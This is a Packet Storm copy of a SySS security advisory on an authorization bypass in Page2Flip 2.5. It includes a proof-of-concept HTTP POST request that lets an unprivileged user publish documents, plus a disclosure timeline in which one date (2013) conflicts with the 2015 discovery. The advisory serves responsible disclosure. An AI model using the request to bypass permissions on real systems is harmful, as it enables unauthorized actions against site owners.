what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Page2Flip 2.5 Privilege Escalation

Page2Flip 2.5 Privilege Escalation
Posted Aug 25, 2015
Authored by Dr. Erlijn van Genuchten | Site syss.de

Page2Flip version 2.5 suffers from an authorization bypass vulnerability.

tags | exploit, bypass
SHA-256 | 81eff9c8072a47333a722737d210492a75a50e881af03b9fbb7745d495b77d5c

Page2Flip 2.5 Privilege Escalation

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2015-030
Product: Page2Flip
Vendor: w!ssenswerft GmbH
Affected Version(s): Premium App 2.5, probably also in Business App
and Basic App, and in lower versions
Tested Version(s): Premium App 2.5
Vulnerability Type: Improper Handling of Insufficient Privileges (CWE-274)
Risk Level: High
Solution Status: Open
Vendor Notification: 2015-06-29
Solution Date:
Public Disclosure:
CVE Reference: Not yet assigned
Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

With the Page2Flip Web application, it is possible to create e-papers in
PDF format that can be flicked through digitally. Such e-papers can be
used for magazines, catalogues, flyers, etc. (see [1]).

The Page2Flip application allows users who are not privileged to publish
documents to nevertheless publish documents.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The SySS GmbH identified a vulnerability in the "publish" functionality
of the Page2Flip application.

Users who are not allowed to publish documents are nevertheless able to
do so.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following HTTP POST request was sent by a user who did not possess
the privilege to publish documents.

POST /catalog/[catalog id]/publishview HTTP/1.1
Host: [host]
Faces-Request: partial/ajax
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 1132
Cookie: [cookies]

downloadDialogForm=downloadDialogForm&javax.faces.ViewState=-8995724769283342270%3A-6610202228620183009&ice.window=9aibc007ll&ice.view=vvgml70v8&downloadDialogForm%3Ard_releaseTypeDownload=ext_catalog&downloadDialogForm%3Aj_idt916=Please%20choose...&icefacesCssUpdates=&javax.faces.source=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&javax.faces.partial.event=click&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&ice.window=9aibc007ll&ice.view=vvgml70v8&ice.focus=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit=Start%20download&ice.event.target=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.captured=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.type=onclick&ice.event.alt=false&ice.event.ctrl=false&ice.event.shift=false&ice.event.meta=false&ice.event.x=11
69&ice.event.y=796&ice.event.left=true&ice.event.right=false&ice.submit.type=ice.s&ice.submit.serialization=form&javax.faces.partial.ajax=true

After sending this request, the user received an e-mail stating "You can
download your pageflip!".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2015-06-23: Vulnerability discovered
2013-06-29: Vulnerability reported to vendor
2015-07-07: Reported vulnerabilities again as the vendor did not respond
to the first e-mail
2015-07-14: Reminder sent concerning reported vulnerabilities
2015-08-24: Public release of security advisory according to the SySS
Responsible Disclosure Policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Page2Flip homepage
http://page2flip.de/
[2] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Dr. Erlijn van Genuchten of the
SySS GmbH.

E-Mail: erlijn.vangenuchten@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJV2x3WAAoJEAylhje9lv8qUMIP/RA5OqFVpM4ch+CLyOq2YMJq
WHVZmKmHLp4igu90ycqfALonph+x65Slfa2etUeyn/r1njAOSEW23VAJUcNdvKYT
fL/ZxNhTMcfnfgTpldW742tloJk462pLoNPEY9Rt1jmzHKHDehyKXJTkTN/T+mjI
prZyfPjRQgTR9iDH/iNnGfSyito5ZWvOwHNswXxZU1q65RfEr0k9QcENF//PraR1
gFYjE2zxsBeyzatBjL6yfB9BNfV/wjiao8rm3aUI22fL+rJWkL5tVSVKWOrFnTgq
KFHtRmGvZDo+uJbM+g+/B4MYcNTPaooLPG4i3XOhdMwcmWPk9mR7mMkLV6tN886S
r8Hz/76PKtysi2aU+nO1hlh9BGxrEwie+T0YvcSAAfoDRgvvVrHLshcr1pGlcvy/
pAjmUVKiNwjw2WMoJOM9f8N42Hp2SeirSRAT4aLi64XV3ntoRwaEZt4sELS+TzSh
5fUf0dpCzgh45oNk+oiWM8obhq36nAXAUF7ePl1kv7/SzX/J//jd3ih8XYccT4jr
8VI6K1Txlveditd5ZK6ocBvCQKpWregQFD8vq3ZZTAM3aGCkPgzSGOUMpalaZ6JQ
VwvSRiYZP0FVxKxfqQjge+oqkf4MDuh8821TJ5rrzZ3gODKITfabIsaS4YqB7aMT
rJvhOlngmtxslFDRUaDI
=PpOx
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close